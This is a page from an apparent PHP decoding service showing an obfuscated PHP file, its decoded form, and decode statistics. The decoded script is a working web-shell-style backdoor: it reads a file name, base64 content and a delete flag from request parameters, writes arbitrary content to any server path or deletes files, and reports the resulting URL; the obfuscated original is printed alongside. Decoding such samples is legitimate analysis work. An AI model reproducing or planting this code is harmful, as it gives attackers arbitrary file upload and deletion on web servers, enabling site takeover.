Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto XUilxNYYkp; POl_ULdZrb: $fw = "\146\167\162\x69\164\x65"; $f_get = "\x66\151\..
Decoded Output download
<?php
goto XUilxNYYkp; POl_ULdZrb: $fw = "fwrite"; $f_get = "file_get_contents"; $f_put = "file_put_contents"; $f_unl = "unlink"; $f_stuaus = "file_exists"; goto JPzJ4EX0KZ; JPzJ4EX0KZ: $f_size = "filesize"; $str_rep = "str_replace"; $js_enc = "json_encode"; $hp = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; $hot = $_SERVER["HTTP_HOST"]; goto W8tH4j30zh; l7lQK9bDwH: goto aBXCL7TCJw; gSSNL2N6Zy: $rinfo["flink"] = $hp . "://" . $hot . "/" . $fname; $rinfo["res"] = 1; aBXCL7TCJw: goto TgxNdsGWOl; xsk0oyXeeb: $f_dax = $f_size($fname); lxp9AbLqed: if ($f_stuaus($fname) && $f_dax > 0) { goto gSSNL2N6Zy; } $rinfo["flink"] = $hp . "://" . $hot . "/" . $fname; $rinfo["res"] = 0; goto l7lQK9bDwH; W8tH4j30zh: $rinfo = array(); $rinfo["star"] = "opt"; if ($fname && $fbody) { goto sPUHqxIHYX; } if (!($opunl == "1" && $fname)) { goto Hdc6Idz0xn; } $rinfo["flink"] = $hp . "://" . $hot . "/" . $fname; goto nwu3GLnHIQ; XUilxNYYkp: $fname = $_REQUEST["fname"]; $fbody = $_REQUEST["code"]; $opunl = $_REQUEST["del"]; $base_d = "base64_decode"; $fo = "fopen"; goto POl_ULdZrb; nwu3GLnHIQ: $delres = $f_unl($fname); if (!$delres) { goto PFXMO27ia3; } $rinfo["delres"] = 1; PFXMO27ia3: Hdc6Idz0xn: goto h71JW7m4AN; TNMrW5wfn8: $fp = $fo($fname, "w"); $f_result = $fw($fp, $con); $f_dax = $f_size($fname); if (!(!$f_stuaus($fname) || $f_dax <= 0)) { goto lxp9AbLqed; } $f_putresult = $f_put($fname, $con); goto xsk0oyXeeb; h71JW7m4AN: goto OglclGQ7FQ; sPUHqxIHYX: $con = $base_d($fbody); $con = $str_rep("%20", " ", $con); $con = $str_rep("%3A", ":", $con); goto TNMrW5wfn8; TgxNdsGWOl: OglclGQ7FQ: goto VvxF4SIOJC; VvxF4SIOJC: echo $js_enc($rinfo); ?>
Did this file decode correctly?
Original Code
<?php
goto XUilxNYYkp; POl_ULdZrb: $fw = "\146\167\162\x69\164\x65"; $f_get = "\x66\151\154\145\137\x67\145\164\x5f\x63\x6f\156\x74\x65\x6e\164\x73"; $f_put = "\x66\x69\154\x65\137\160\x75\164\137\143\157\x6e\164\x65\x6e\x74\x73"; $f_unl = "\x75\156\x6c\151\156\x6b"; $f_stuaus = "\x66\151\x6c\145\x5f\x65\x78\x69\163\x74\163"; goto JPzJ4EX0KZ; JPzJ4EX0KZ: $f_size = "\146\151\x6c\x65\163\151\x7a\145"; $str_rep = "\x73\164\x72\137\x72\x65\x70\154\x61\143\145"; $js_enc = "\152\163\157\x6e\137\x65\x6e\x63\157\x64\145"; $hp = isset($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\110\124\x54\x50\x53"] == "\x6f\x6e" ? "\x5c\170\66\x38\x74\164\134\170\x37\x30\x73" : "\x5c\170\x36\70\x74\x74\x5c\170\67\x30"; $hot = $_SERVER["\x48\124\x54\120\137\110\117\x53\x54"]; goto W8tH4j30zh; l7lQK9bDwH: goto aBXCL7TCJw; gSSNL2N6Zy: $rinfo["\146\x6c\x69\156\153"] = $hp . "\x3a\57\x2f" . $hot . "\57" . $fname; $rinfo["\x72\x65\163"] = 1; aBXCL7TCJw: goto TgxNdsGWOl; xsk0oyXeeb: $f_dax = $f_size($fname); lxp9AbLqed: if ($f_stuaus($fname) && $f_dax > 0) { goto gSSNL2N6Zy; } $rinfo["\146\x6c\151\x6e\x6b"] = $hp . "\x3a\x2f\x2f" . $hot . "\57" . $fname; $rinfo["\x72\145\x73"] = 0; goto l7lQK9bDwH; W8tH4j30zh: $rinfo = array(); $rinfo["\163\x74\x61\162"] = "\x6f\x70\x74"; if ($fname && $fbody) { goto sPUHqxIHYX; } if (!($opunl == "\61" && $fname)) { goto Hdc6Idz0xn; } $rinfo["\x66\x6c\x69\x6e\153"] = $hp . "\72\57\57" . $hot . "\57" . $fname; goto nwu3GLnHIQ; XUilxNYYkp: $fname = $_REQUEST["\146\x6e\141\155\145"]; $fbody = $_REQUEST["\143\157\x64\145"]; $opunl = $_REQUEST["\x64\x65\154"]; $base_d = "\x62\x61\x73\145\x36\64\x5f\x64\145\x63\x6f\x64\145"; $fo = "\x66\157\160\x65\x6e"; goto POl_ULdZrb; nwu3GLnHIQ: $delres = $f_unl($fname); if (!$delres) { goto PFXMO27ia3; } $rinfo["\x64\145\x6c\x72\x65\x73"] = 1; PFXMO27ia3: Hdc6Idz0xn: goto h71JW7m4AN; TNMrW5wfn8: $fp = $fo($fname, "\x77"); $f_result = $fw($fp, $con); $f_dax = $f_size($fname); if (!(!$f_stuaus($fname) || $f_dax <= 0)) { goto lxp9AbLqed; } $f_putresult = $f_put($fname, $con); goto xsk0oyXeeb; h71JW7m4AN: goto OglclGQ7FQ; sPUHqxIHYX: $con = $base_d($fbody); $con = $str_rep("\x25\x32\x30", "\40", $con); $con = $str_rep("\x25\x33\x41", "\72", $con); goto TNMrW5wfn8; TgxNdsGWOl: OglclGQ7FQ: goto VvxF4SIOJC; VvxF4SIOJC: echo $js_enc($rinfo); ?>
Function Calls
None |
Stats
MD5 | 1656a6bcdbfee97fbe74c16adb52c36a |
Eval Count | 0 |
Decode Time | 51 ms |